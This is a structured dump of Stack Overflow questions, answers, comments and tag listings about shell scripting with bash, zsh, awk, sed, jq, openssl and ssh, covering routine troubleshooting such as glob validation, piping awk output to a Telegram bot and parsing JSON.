comment on: http://stackoverflow.com/q/76690713
score: 1
has text: If nothing changes, there's no reason for the thumbnail to change, unless you're the one who computes the thumbnail id (and you're not). Have you tried SHChangeNotify(SHCNE_UPDATEITEM)? using SHCNE_ALLEVENTS is wrong. Otherwise you can try this https://gist.github.com/smourier/50673230c3756d5ee5f95f0080ee8f3c
type: QuestionComment

http://stackoverflow.com/a/76699936
type: Answer
downvote count: 0
score: 3
type: AcceptedAnswer
upvote count: 3
answers question: http://stackoverflow.com/q/76694527
has body: One possibility is to attempt to use the glob pattern with a ${~...} expansion. This can be wrapped in a try-block to prevent the shell from exiting if there is an error: checkGlob() { setopt nullglob { : ${~1} } always { TRY_BLOCK_ERROR=0 } } checkGlob 'aa*'; print $? # => 0 checkGlob 'aa['; print $? # => 1 Some of the pieces setopt nullglob - no error if there isn't a match for the glob pattern. { <try-block> } always { <always-block> } - even if there's an error in the try-block, the code in the always-block will always be executed. : - no-op. The expansion that follows will be attempted, but no command will be executed. ${~1} - expands the first positional parameter with GLOB_SUBST set, so glob patterns in the value will be processed. TRY_BLOCK_ERROR=0 - resets the error status. Normally a runtime error like an incorrect glob pattern results in the shell exiting. This prevents that. The return code from the function is from the last command in the try-block, i.e. the ~ expansion. The extended glob setting will determine which glob patterns are validated. This version of the function sets that option: checkGlob() { setopt nullglob extendedglob localoptions pat=APREFIX${1:?} { : ${~pat} } always { TRY_BLOCK_ERROR=0 } &> /dev/null } This also has: localoptions - changes from setopt will only apply to this function. pat=APREFIX... - the ~ expansion is going to try to find actual files that match the pattern in the current directory - this is one way to make that list shorter. Another option is to change into an empty directory created with mktemp. &> /dev/null - block any output from the expansion. You could run a similar check with extended glob turned off to try with both types, but note that many zsh utilities, such as zmv, simply turn extended globs on by default and call it a day. Testing: for gl in '*' 'a*' 'a[bc]' 'a[' 'a(.)' 'a(' 'a(#z)' '/tmp'; do if checkGlob $gl; then print "valid: $gl" else print "invalid: $gl" fi done # => valid: * # => valid: a* # => v…
accepted answer of: http://stackoverflow.com/q/76694527

http://stackoverflow.com/comment/134962459
comment on: http://stackoverflow.com/q/76544889
score: 1
type: QuestionComment
type: Comment
has text: `grep` is a system utility. You should delete this and ask, instead, on [Unix & Linux Stack Exchange](https://unix.stackexchange.com/) or https://superuser.com/ This is not a programming question.

http://stackoverflow.com/comment/134998004
has text: diff (gc file1) (gc path/to/file2)
type: Comment
comment on: http://stackoverflow.com/q/76566816
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135211077
comment on: http://stackoverflow.com/q/76692290
score: 0
type: QuestionComment
has text: In many distributions, `/bin/bash` and `/usr/bin/bash` are exactly the same thing and are hardlinked.
type: Comment

http://stackoverflow.com/q/76650742
tagged with: linux
upvote count: 1
answer count: 1
favorite count: 0
has title: Run linux script after output printed with awk
has answer: http://stackoverflow.com/a/76650930
tagged with: awk
linked to: http://stackoverflow.com/q/17029902
downvote count: 0
has comment: http://stackoverflow.com/comment/135140240
type: Question
tagged with: shell
type: UnansweredQuestion
score: 1
has body: I'm working on a script where I monitor the reading and calculation of some data, after executing this script I would like to print the output and send it directly to a telegram channel, but for that I need to execute a command after the awk output. Messages are arriving on telegram, but they are arriving incomplete (only the first line, in total there are 4 lines per message) Original output from AWK: #Price_Notification_ProductABC Price: 0.007023 change: +1.8% Count Number: 6 Exit that is coming on telegram: #Price_Notification_ProductABC Could you help me to solve what is wrong? Thanks Here are my scripts: awk.sh #!/bin/bash awk ' /^#Price_Notification_Product/ { prod = $0; } /^change: / { gsub(/[+%]/,"",$2); products[prod] += $2; $2 = "+" products[prod] "%" } 1' input.txt | xargs -l ./telegram-send.sh telegram-send.sh #!/bin/bash GROUP_ID=-myid BOT_TOKEN=mytoken # this 3 checks (if) are not necessary but should be convenient if [ "$1" == "-h" ]; then echo "Usage: `basename $0` \"text message\"" exit 0 fi if [ -z "$1" ] then echo "Add message text as second arguments" exit 0 fi if [ "$#" -ne 1 ]; then echo "You can pass only one argument. For string with spaces put it on quotes" exit 0 fi curl -s --data "text=$1" --data "chat_id=$GROUP_ID" 'https://api.telegram.org/bot'$BOT_TOKEN'/sendMessage' > /dev/null

http://stackoverflow.com/comment/135163223
type: QuestionComment
has text: That said, think about `cmd=( ssh -A -tt userB@hostB "hostname;hostname;hostname" ); ssh -A -t userA@hostA "${cmd[*]@Q}"` if you only need support for bash 5.0+
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76663609

http://stackoverflow.com/a/76583277
score: 1
downvote count: 0
upvote count: 1
has body: I want to explain what your code awk 'tolower($1)=="include"{cp $2 dir1}' main_file is actually doing tolower($1)=="include" does case-insensitive comparison, this bit more sensitive that 1st column is "include" or "Include". (which would be expressed as $1=="include"||$1=="Include") as it also holds for INCLUDE, InClUdE and so on, but if these do not appear or should be treated same way will be ok. {cp $2 dir1} does string concatenation, as cp and dir1 were not defined, GNU AWK assumes that they are empty strings. As you did not instruct GNU AWK what to do with effect of concatenation nothing is printed (at least in GNU Awk 5.1.0, which I used for testing). As far as I know GNU AWK has not function for copying files, however you might use GNU AWK to prepare set of instructions for bash following way awk 'tolower($1)=="include"{print "cp " $2 " dir1"}' main_file | bash Keep in mind that such solution is prone to breakage, as it did not care about dir1 existence and might malfunction if there is ' inside name of file, so if possible consider using language which sports features for dealing with copying files.
type: Answer
answers question: http://stackoverflow.com/q/76582602

http://stackoverflow.com/q/76690391
has title: I am trying to extract the private exponent from the openssl command using a bash shell script
answer count: 3
possible better answer: http://stackoverflow.com/a/76690785
score: 0
has comment: http://stackoverflow.com/comment/135207995
has answer: http://stackoverflow.com/a/76690699
tagged with: shell
has comment: http://stackoverflow.com/comment/135207991
tagged with: automation
type: AnsweredQuestion
has body: I am using the following commands to get the private key using openssl commands. openssl genpkey -algorithm rsa -pkeyopt rsa_keygen_bits:1024 -out key_rsa_private_1024.pem openssl rsa -inform PEM -in key_rsa_private_1024.pem -text I want to extract the private exponent from the response. The response looks like this Private-Key: (1024 bit) modulus: 00:c8:e7:ab:e5:98:f7:f1:45:d6:4c:b2:73:6b:cb: 4f:79:24:ce:6f:4d:60:b9:6a:f6:3b:cf:5b:a6:f8: 00:da:bf:16:3d:d6:25:ed:86:63:56:4f:c5:5b:47: 05:e7:d0:22:b2:d4:d4:ae:de:5c:51:8a:57:9b:46: 59:7c:32:96:c8:35:8a:b8:f3:77:6c:5e:99:8e:3a: bb:82:e0:18:66:eb:ee:cf:c9:fd:84:e1:1e:eb:8a: c1:7a:88:4e:65:25:90:16:4f:3e:a7:13:e3:af:91: c1:d0:0a:2b:c7:ca:28:cb:a2:3f:5c:98:4c:05:b9: b2:97:1d:e8:fa:ef:1d:88:6d publicExponent: 65537 (0x10001) privateExponent: 08:da:6c:b0:c9:74:e3:a4:f8:34:99:08:8d:0f:80: 89:0e:1e:2a:b9:76:31:b5:8c:f4:45:c6:fc:2c:a1: 9d:02:1e:b0:ca:e7:10:f8:83:18:22:9b:c7:d1:f1: 68:ad:bb:59:b6:17:49:3d:73:44:04:9c:a7:b3:09: ee:77:2c:3d:c2:58:18:5a:e1:25:c9:0a:bc:b1:74: e8:6c:e1:42:d2:36:5f:80:64:97:00:3b:b6:5c:4c: 28:7e:a1:26:d2:47:19:9f:d2:64:1b:24:88:54:ab: 37:14:74:38:c3:46:08:0f:4c:6d:ec:4e:03:45:1f: fc:e7:db:e4:81:3c:91:e1 prime1: 00:f0:e3:e7:e6:14:46:fb:38:69:ec:cb:db:52:e5: 98:9d:f5:95:d7:9b:e4:18:55:ac:0f:b3:ab:8a:4c: 02:f5:14:eb:97:8b:e6:47:67:7a:8f:ce:5d:68:13: 5c:c5:23:eb:54:7d:39:ac:90:ab:96:ae:6f:3c:99: 2a:16:c5:f2:93 prime2: 00:d5:81:b3:b6:bd:25:e7:3b:c2:12:39:f2:8f:e2: b3:0c:a0:6e:88:5b:4c:ad:99:26:a8:ec:c3:66:1b: 6d:f0:d7:b7:ee:a7:c4:90:26:cd:5d:d3:34:42:11: 92:c6:b8:b3:dd:50:eb:8a:f0:93:4c:91:18:4a:e7: 2f:6a:54:78:ff exponent1: 68:63:5a:ea:e9:7e:98:ff:29:67:e4:2f:77:0c:e7: c6:0b:d6:93:48:8a:df:c0:c0:7f:4d:6c:d8:d1:77: b6:9d:0a:3a:f1:f5:28:9c:3f:10:72:6d:27:dc:bc: 26:f2:19:d8:d3:2b:5b:0c:96:4f:05:e8:4e:6a:51: 42:ed:24:e1 exponent2: 00:c6:a6:ac:40:9d:92:d3:a7:fd:35:1a:27:7f:0a: cd:cf:34:c2:43:2a:b7:98:5a:03:e7:6e:8b:8b:c8: 7f:ad:73:f8:d6:1b:d0:be:d2:eb:87:9d:c8:64:a4: 97:2d:40:93:51:9b:45:dc:fb:64:01:fc:8a:5e:b…
has answer: http://stackoverflow.com/a/76690785
has comment: http://stackoverflow.com/comment/135208109
tagged with: openssl
tagged with: bash
linked to: http://stackoverflow.com/q/22937618
type: Question
accepted answer: http://stackoverflow.com/a/76690699
has answer: http://stackoverflow.com/a/76699355

http://stackoverflow.com/comment/134984335
type: QuestionComment
score: 0
type: Comment
has text: How accurate does the measurement result have to be? Are seconds enough?
comment on: http://stackoverflow.com/q/76558797

http://stackoverflow.com/comment/135119206
has text: @Barmar, right; that's why I'm trying to prod them to also fix the title and tagging. If they'd properly tagged this as a zsh question I never would have seen it and my life would have been happier.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76638142
type: Comment

http://stackoverflow.com/a/76679049
has comment: http://stackoverflow.com/comment/135188467
has comment: http://stackoverflow.com/comment/135188271
has comment: http://stackoverflow.com/comment/135188279
answers question: http://stackoverflow.com/q/76679026
has body: You can use sed instead of grep: curl -s https://www.url.com/ | sed -nE 's~.*(/news/[^ &gt;]+).*~https://www.url.com\1~p' This sed will search for the same pattern /news/[^ &gt;]+ in a line and in replacement it prefixes each line with https://www.url.com.
score: 2
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135188271
score: 1
comment on: http://stackoverflow.com/a/76679049
has text: This won't skip the non-matching lines.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76624545
duplicate of: http://stackoverflow.com/q/19331497
linked to: http://stackoverflow.com/q/19331497
has comment: http://stackoverflow.com/comment/135098622
has comment: http://stackoverflow.com/comment/135098612
has comment: http://stackoverflow.com/comment/135096741
score: 0
has comment: http://stackoverflow.com/comment/135096658
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135096736
has title: In bash, how do I read a file and pass its content to be an environment variable?
has comment: http://stackoverflow.com/comment/135096628
type: UnansweredQuestion
tagged with: environment-variables
has body: I have a file with content: EnableSchemaValidation="False" EnableRedshiftImport="True" how do I run a bash/shell command to parse this file and set environment variables as: √ ~ % echo ${EnableSchemaValidation} False √ ~ % echo ${EnableRedshiftImport} True √ ~ %
has comment: http://stackoverflow.com/comment/135096705
answer count: 0
tagged with: linux
tagged with: bash

http://stackoverflow.com/comment/135223524
has text: Does this answer your question? [How do I get output from a command to appear in a control on a Form in real-time?](https://stackoverflow.com/questions/51680382/how-do-i-get-output-from-a-command-to-appear-in-a-control-on-a-form-in-real-time)
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76698598

http://stackoverflow.com/comment/135165883
comment on: http://stackoverflow.com/q/76664368
score: 0
has text: Additionally your code does not have any error handling **despite** you write in your question you're seeing an error picture. Add error handling so that it becomes more clear what **not working** actually means. Otherwise everyone has to guess, which is likely the reason you're seeing many comments. And which PHP version do you have in use? Please add all clarifications to your question by [edit]ing it.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76606220
type: UnansweredQuestion
score: 1
has body: I have a bamboo pipeline with 2 script tasks. Script task that installs npm package (working fine) Script task that runs nodejs script and curl command (having issue) In the second script task, I've tee -a test.js > /dev/null << EOT nodejs script that sets a variable var signedToken = token + "." + signature; process.env.AuthToken = signedToken; EOT echo "xxxxxxxxxxxxxxxxx" node test.js echo "xxxxxxxxxxxxxxxxx" curl --location 'https://test.com/' \ --header 'Content-Type: application/json' \ --header 'Authorization: ${bamboo.AuthToken}' \ not working --data '{ }' In the curl command, how do I set header Authorization to a value of a variable (signedToken in this case) that gets set in nodejs script?
tagged with: node.js
downvote count: 0
upvote count: 1
answer count: 1
has title: Set bamboo variable from nodejs script and use it in curl in script task
favorite count: 0
has answer: http://stackoverflow.com/a/76616025
type: Question
tagged with: bamboo
tagged with: shell

jenkins-pipeline
type: Tag
tag name: jenkins-pipeline
tags question: http://stackoverflow.com/q/76634264
tags question: http://stackoverflow.com/q/76836431
tags question: http://stackoverflow.com/q/76947111
tags question: http://stackoverflow.com/q/76922371
tags question: http://stackoverflow.com/q/77234225
tags question: http://stackoverflow.com/q/77088578
tags question: http://stackoverflow.com/q/77144870
tags question: http://stackoverflow.com/q/77324426
tags question: http://stackoverflow.com/q/77792510
tags question: http://stackoverflow.com/q/78085813
tags question: http://stackoverflow.com/q/78193824
tags question: http://stackoverflow.com/q/78785168
tags question: http://stackoverflow.com/q/79402707

http://stackoverflow.com/comment/135211139
comment on: http://stackoverflow.com/q/76692290
has text: You could check which version they are too with `bash --version`. I'm not sure if that works with `git-bash` though. `git-bash` seems to be running `sh.exe --login -i`
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135194069
score: 0
has text: Consider the advice to redirect stdin doubled, by the way, if this is running in an interpreter with job control enabled. You really don't want a SIGTTIN.
type: QuestionComment
comment on: http://stackoverflow.com/q/76682292
type: Comment

http://stackoverflow.com/comment/135130865
score: 0
has text: (If I convert the data from UTF-8 to [ISO-8859-7](https://en.wikipedia.org/wiki/ISO/IEC_8859-7) for example and try to sort that when using a UTF-8 locale I get the same order you do)
comment on: http://stackoverflow.com/q/76633664
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135082701
comment on: http://stackoverflow.com/q/76616176
has text: @shellter `/usr/libexec/jobcli/qsub: Python script, ASCII text executable`. If it helps: I find that the newlines that are passed to the qsub command qre qlso striped (backslashes removed), even though when I echo them from within the script they are presented correctly. Escaping the backslashes of the newline ones does not fix the problem.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135112741
type: Comment
comment on: http://stackoverflow.com/q/76633273
score: 1
has text: That's not going to work. PHP needs to run the script directly to process arguments, passing it as the standard input of another script does not allow you to input arguments. It's also not clear as to what you are trying to do here? If you need to debug a script using a debugger like xdebug is probably a more effective approach
type: QuestionComment

http://stackoverflow.com/q/76663322
favorite count: 0
has title: problem in my while loop: empty output files
has comment: http://stackoverflow.com/comment/135169185
tagged with: awk
linked to: http://stackoverflow.com/q/6697753
has body: I have this command: awk -F'\t' '$3 ~ "Aspergillus fumigatus" {print}' $krakenfile > Aspergillus_fumigatus_lines.txt It is working very fine, It just extracts every line in the file $krakenfile that contain the word "Aspergillus fumigatus" in its third column. Now, I want to introduce another file ($fungalnames) that contains multiple lines, every line contains names of species and I want to apply the command on every line of the new file. I tried this: while IFS= read -r specie_name do awk -F'\t' '$3 ~ "$specie_name" {print}' $krakenfile > "${specie_name}_lines.txt" done < $fungalnames Anyway, the output files are created (I had 8 species names in my $fungalnames file and there are 8 output files, every file is named to a line, but all the files are empty !! I tried multiple times, and I changed syntaxes, but nothing is working. I think I am escaping an important thing, can anyone help me please! Thank you in advance!
type: Question
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135162256
linked to: http://stackoverflow.com/q/76661943
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/19075671
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135162765
has comment: http://stackoverflow.com/comment/135162001
has comment: http://stackoverflow.com/comment/135162006
duplicate of: http://stackoverflow.com/q/19075671
downvote count: 0
tagged with: bash

http://stackoverflow.com/a/76573423
score: 0
answers question: http://stackoverflow.com/q/76570156
type: Answer
has body: If you only want to modify array elements whose IP address starts with "10.13.", you'd usually use map and combine with startswith (for prefix-matching the IP address): jq 'map(select(.node|startswith("10.13.")).state = "disabled")' input.json An equivalent solution assigning multiple values at once: jq '(.[]|select(.node|startswith("10.13")).state) = "disabled"' input.json Note that the second solution is almost identical to your proposed one (with slight modifications: different grouping, startswith, and the plain assignment operator)

http://stackoverflow.com/a/76593478
type: Answer
has body: Make sure to include local_file where you want to save the downloaded files on your local machine Although this is optional Example: sftp> get /path/to/remote/file.txt /path/to/local/file.txt In your problem get unveil-movie1-1080p.mkv unveil-movie1-1080p.mkv if a filename contains special characters you can try using to escape using a double quote sftp> get "/path/to/remote/file.txt" "/path/to/local/file.txt"
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76593397
score: 0
has comment: http://stackoverflow.com/comment/135044489
accepted answer of: http://stackoverflow.com/q/76593397

http://stackoverflow.com/q/76593228
has comment: http://stackoverflow.com/comment/135043482
tagged with: http://stackoverflow.com/tag/json
answer count: 1
has title: Non-greedy regex extraction from JSON with sed
favorite count: 0
has comment: http://stackoverflow.com/comment/135043477
upvote count: 3
has comment: http://stackoverflow.com/comment/135043480
has body: Some JSON: {"theSecret":"flhiusdh4543sdfasf34sdf+fsfs/sdf43454=","foo":{"bar":41,"something":"hello world","else":"hi","date":20230101,"qux":0,"digest":"sfhusdf234jkkjuiui23kjkj/SFDF34SDSFDS="}} Prettified: { "theSecret": "flhiusdh4543sdfasf34sdf+fsfs/sdf43454=", "foo": { "bar": 41, "something": "hello world", "else": "hi", "date": 20230101, "qux": 0, "digest": "sfhusdf234jkkjuiui23kjkj/SFDF34SDSFDS=" } } I want the value of the theSecret key. I tried this: $ echo "$json" | sed -nE 's/.*theSecret":"(.*)".*/\1/p' # (.*?) doesn't work Which gives: flhiusdh4543................4SDSFDS= i.e. from theSecret until the end of digest. That's because sed lacks non-greedy quantifiers, so .*? doesn't work. How can I do this? (This is in an alpine container, which has sed, grep and awk. jq and perl are unavailable.)
score: -1
tagged with: grep
tagged with: shell
downvote count: 4
has comment: http://stackoverflow.com/comment/135315730
has comment: http://stackoverflow.com/comment/135047086
has comment: http://stackoverflow.com/comment/135312509
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/1103149
has answer: http://stackoverflow.com/a/76593246
tagged with: sed
has comment: http://stackoverflow.com/comment/135047069
has comment: http://stackoverflow.com/comment/135043499
tagged with: regex
has comment: http://stackoverflow.com/comment/135043488
has comment: http://stackoverflow.com/comment/135048306
accepted answer: http://stackoverflow.com/a/76593246
has comment: http://stackoverflow.com/comment/135044161
type: Question

pipeline
type: Tag
tag name: pipeline
tags question: http://stackoverflow.com/q/76621928
tags question: http://stackoverflow.com/q/77369975
tags question: http://stackoverflow.com/q/77238873
tags question: http://stackoverflow.com/q/78663739
tags question: http://stackoverflow.com/q/79183617

http://stackoverflow.com/q/76555096
has comment: http://stackoverflow.com/comment/135014974
tagged with: bash
upvote count: 0
has comment: http://stackoverflow.com/comment/134979764
has answer: http://stackoverflow.com/a/76556414
tagged with: unix
tagged with: sh
has comment: http://stackoverflow.com/comment/134977972
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/134977977
tagged with: shell
tagged with: linux
has comment: http://stackoverflow.com/comment/134979700
has comment: http://stackoverflow.com/comment/134978114
has title: Unable to replace the file contents
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76556303
has body: I am trying to replace the contents of file using perl command in another shell script: Filename: INFA.param Contents: $ParamUser=SOMEUSERNAME $ParamPswd=SOMEPASSWORD $$StartTime=2021-06-26 08:31:51:1195079 $$EndTime=2021-06-26 09:31:51:1195079 When I open the above file in another shell script "pp.sh" cat INFA.param > temp.param . ./temp.param pmcmdpassword=$(pmcmd $password -e CRYPTDATA) perl -pe -e "s#ParamPswd=\Q$ParamPswd\E#ParamPswd=$pmcmdpassword#g" INFA.param I am getting some errors: =SOMEUSERNAME: not found =SOMEPASSWORD: not found 31850942StartTime=2021-06-26 08:31:51:1195079: not found 31850942EndTime=2021-06-26 09:31:51:1195079: not found Could you please suggest me how I should replace the password.
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/134978296
has comment: http://stackoverflow.com/comment/134977887
has comment: http://stackoverflow.com/comment/134978133
score: -1

http://stackoverflow.com/comment/135235626
type: Comment
type: AnswerComment
has text: Sounds like you need to ask a new/different question then -- this one covered what you asked for, but it sounds like your real use case is more involved. Generally if you want to do sub-iteration, though, it's time to give up on using the column names as the accessors, and start stuffing values into variables as you iterate down the tree.
score: 0
comment on: http://stackoverflow.com/a/76696254

gnu
tags question: http://stackoverflow.com/q/76633771
type: Tag
tag name: gnu
tags question: http://stackoverflow.com/q/79041146
tags question: http://stackoverflow.com/q/78943372
tags question: http://stackoverflow.com/q/79078029
tags question: http://stackoverflow.com/q/79329866

http://stackoverflow.com/comment/134996558
has text: Use 'cd' in the cmd to reach the directory your main is and then run your python file without any path
comment on: http://stackoverflow.com/q/76566011
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76582274
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/135027263
score: 2
answers question: http://stackoverflow.com/q/76581584
downvote count: 0
has body: I suspect you are running this on MacOS (or potentially FreeBSD, which is where the MacOS version came from, originally). Explicitly choosing gnu awk from my FreeBSD box gives me what you want. [dev ~/test/awktest]$ gawk -f code.awk data.txt PassengerId,Survived,Pclass,Name,Sex,Age,SibSp,Parch,Ticket,Fare,Cabin,Embarked 1,0,3,"Braund, Mr. Owen Harris",m,22,1,0,A/5 21171,7.25,Nan,Southampton 2,1,1,"Cumings, Mrs. John Bradley (Florence Briggs Thayer)",f,38,1,0,PC 17599,71.28,C85,Cherbourg ... 886,0,3,"Rice, Mrs. William (Margaret Norton)",f,39,0,5,382652,29.12,Nan,Queenstown 890,1,1,"Behr, Mr. Karl Howell",m,26,0,0,111369,30.00,C148,Cherbourg 891,0,3,"Dooley, Mr. Patrick",m,32,0,0,370376,7.75,Nan,Queenstown (Admittedly, running FreeBSD awk doesn't get either substitution right...)

http://stackoverflow.com/comment/135058155
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76587890
has text: Yes, I need to reuse it in the same rule @MadScientist.

ssh
tags question: http://stackoverflow.com/q/76663609
type: Tag
tag name: ssh
tags question: http://stackoverflow.com/q/76577218
tags question: http://stackoverflow.com/q/76830614
tags question: http://stackoverflow.com/q/76841948
tags question: http://stackoverflow.com/q/76803412
tags question: http://stackoverflow.com/q/76776995
tags question: http://stackoverflow.com/q/76898164
tags question: http://stackoverflow.com/q/77307564
tags question: http://stackoverflow.com/q/77393548
tags question: http://stackoverflow.com/q/77308580
tags question: http://stackoverflow.com/q/77482848
tags question: http://stackoverflow.com/q/77530610
tags question: http://stackoverflow.com/q/77570866
tags question: http://stackoverflow.com/q/77516345
tags question: http://stackoverflow.com/q/77750624
tags question: http://stackoverflow.com/q/77729489
tags question: http://stackoverflow.com/q/77695134
tags question: http://stackoverflow.com/q/77780167
tags question: http://stackoverflow.com/q/77607703
tags question: http://stackoverflow.com/q/77665898
tags question: http://stackoverflow.com/q/77615104
tags question: http://stackoverflow.com/q/77992074
tags question: http://stackoverflow.com/q/78084620
tags question: http://stackoverflow.com/q/77977820
tags question: http://stackoverflow.com/q/78055820
tags question: http://stackoverflow.com/q/78275328
tags question: http://stackoverflow.com/q/78392466
tags question: http://stackoverflow.com/q/78315651
tags question: http://stackoverflow.com/q/78510294
tags question: http://stackoverflow.com/q/78614903
tags question: http://stackoverflow.com/q/78642544
tags question: http://stackoverflow.com/q/78712865
tags question: http://stackoverflow.com/q/78723984
tags question: http://stackoverflow.com/q/78789822
tags question: http://stackoverflow.com/q/78838579
tags question: http://stackoverflow.com/q/78949960
tags question: http://stackoverflow.com/q/79242384
tags question: http://stackoverflow.com/q/79348892
tags question: http://stackoverflow.com/q/79362714
tags question: http://stackoverflow.com/q/79356217
tags question: http://stackoverflow.com/q/79315441
tags question: http://stackoverflow.com/q/79532219

http://stackoverflow.com/comment/135170818
has text: @MarceloGuedes as I mentioned, everything was working perect and I did not touch any charachter in my codes and locations. I dont know what permissions I must check.
score: 1
comment on: http://stackoverflow.com/q/76664368
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135212418
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76690713
has text: @SimonMourier thanks, this is already better than touching the file in question. And yes, after deleting the thumbnail I now need to either call `SHChangeNotify(SHCNE_UPDATEITEM)` or press F5 in Explorer. Can you please also describe where you found `IThumbnailCachePrivate`? My first thought was digging through sources, but then I would expect scrappers like MagnumDB to also know about this interface. And they don't.
type: QuestionComment

http://stackoverflow.com/comment/135022882
has text: _Im also getting a "else unexpected" message._ : In this case fix the syntax first. In ksh, `[` is an syntacic element and `-e` has a specific meaning to it. You have to explicitly quote it to treat it as an operand for comparision, i.e. `'-e'`.
comment on: http://stackoverflow.com/q/76579350
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135203708
has text: @MarkCameron, ...okay, good news: this is reproducible without musl libc or alpine; happens with a stock glibc build of busybox ash, which is going to make running down the regression _very_ easy.
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76687757

http://stackoverflow.com/a/76609828
score: 0
type: Answer
answers question: http://stackoverflow.com/q/76605154
type: AcceptedAnswer
has body: I have come up with simple bash script that does the above tasks. Feel free to change the directory names and folder names as required. you can also mention them in separate configs and refer them in the main script. #!/bin/bash #Read the input from user read -p "Enter a keyWord: " keyword read -p "Enter a category : " category` #search for the folder in the mentioned directory. folder=$(find /path/to/repo -type d -name "$category") #create a temp directory temp_dir="/path/to/temp_folder" mkdir -p "$temp_dir" #copy the files cp -R "$folder"/* "$temp_dir" #search the instances of the keyword grep -r "$keyword" "$temp_dir" #delete the temp folder rm -rf "$temp_dir"
accepted answer of: http://stackoverflow.com/q/76605154

http://stackoverflow.com/comment/135150521
has text: `/project/dir/` is not `./project/dir/`
type: QuestionComment
comment on: http://stackoverflow.com/q/76656090
score: 2
type: Comment

command-line-interface
tags question: http://stackoverflow.com/q/76617416
tags question: http://stackoverflow.com/q/76624018
type: Tag
tag name: command-line-interface
tags question: http://stackoverflow.com/q/77012572
tags question: http://stackoverflow.com/q/76962672
tags question: http://stackoverflow.com/q/77317193
tags question: http://stackoverflow.com/q/77549971
tags question: http://stackoverflow.com/q/77420289
tags question: http://stackoverflow.com/q/77496302
tags question: http://stackoverflow.com/q/77504229
tags question: http://stackoverflow.com/q/77772787
tags question: http://stackoverflow.com/q/78013508
tags question: http://stackoverflow.com/q/78052297
tags question: http://stackoverflow.com/q/78345867
tags question: http://stackoverflow.com/q/78370924
tags question: http://stackoverflow.com/q/78447803
tags question: http://stackoverflow.com/q/78553947
tags question: http://stackoverflow.com/q/78465610
tags question: http://stackoverflow.com/q/78650733
tags question: http://stackoverflow.com/q/78742824
tags question: http://stackoverflow.com/q/78624703
tags question: http://stackoverflow.com/q/78667930
tags question: http://stackoverflow.com/q/79040434
tags question: http://stackoverflow.com/q/78919168
tags question: http://stackoverflow.com/q/78943372
tags question: http://stackoverflow.com/q/79242514
tags question: http://stackoverflow.com/q/79101633
tags question: http://stackoverflow.com/q/79438058

global-variables
tags question: http://stackoverflow.com/q/76702391
tag name: global-variables
type: Tag
tags question: http://stackoverflow.com/q/77839707
tags question: http://stackoverflow.com/q/78146405

http://stackoverflow.com/a/76702834
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76702711
type: Answer
downvote count: 0
has body: I would suggest using \r escape sequence that means, cursor go back to first character of the line. So this will overwrite pinging... and it will not appear. Here is how looks the script with this stategy. #!/bin/bash read -p "Enter the ip address: " ip echo -ne "\e[5mpinging...\e[25m\r" # Note here \r sleep 1 ping -c 1 $ip &> /dev/null>1 if [ $? -eq 0 ] then echo -e "\e[1;93m$ip\e[1;39m is reachable" else echo -e "\e[1;91m$ip\e[1;39m is not reachable" fi Hope it is helpful.
answers question: http://stackoverflow.com/q/76702711
type: AcceptedAnswer

http://stackoverflow.com/comment/135149749
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76656022
has text: What exactly do you expect `#string#` to do? It is a comment, start to finish; nothing is passed to the program. Also, what is `var` and what should it do?

http://stackoverflow.com/comment/134993205
type: QuestionComment
has text: I don't really know how to do that @Armali I'm beginner sorry if my question is dumb
type: Comment
comment on: http://stackoverflow.com/q/76561501
score: 0

variables
type: Tag
tag name: variables
tags question: http://stackoverflow.com/q/76669088
tags question: http://stackoverflow.com/q/76590128
tags question: http://stackoverflow.com/q/76588508
tags question: http://stackoverflow.com/q/76951169
tags question: http://stackoverflow.com/q/77037911
tags question: http://stackoverflow.com/q/76939782
tags question: http://stackoverflow.com/q/77158416
tags question: http://stackoverflow.com/q/77231507
tags question: http://stackoverflow.com/q/77369937
tags question: http://stackoverflow.com/q/77317984
tags question: http://stackoverflow.com/q/77581770
tags question: http://stackoverflow.com/q/77429717
tags question: http://stackoverflow.com/q/77724679
tags question: http://stackoverflow.com/q/77861130
tags question: http://stackoverflow.com/q/78118437
tags question: http://stackoverflow.com/q/78302587
tags question: http://stackoverflow.com/q/78146405
tags question: http://stackoverflow.com/q/78379136
tags question: http://stackoverflow.com/q/78819229
tags question: http://stackoverflow.com/q/79096142
tags question: http://stackoverflow.com/q/79261597
tags question: http://stackoverflow.com/q/79277621
tags question: http://stackoverflow.com/q/79327490
tags question: http://stackoverflow.com/q/79277246

http://stackoverflow.com/comment/134971147
type: Comment
comment on: http://stackoverflow.com/q/76551048
score: 0
type: QuestionComment
has text: In your Python code, you define `string` with the same command you use in MATLAB, and then you don’t use that variable. Instead you run an `abaqus` command.

http://stackoverflow.com/comment/135055729
type: Comment
score: 1
has text: You're in Bash, which is a shell, which is completely unrelated to Python. In Bash, run the command `python` to get to the Python REPL. And look at https://code.visualstudio.com/docs/python/debugging to debug Python in the context of your codebase.
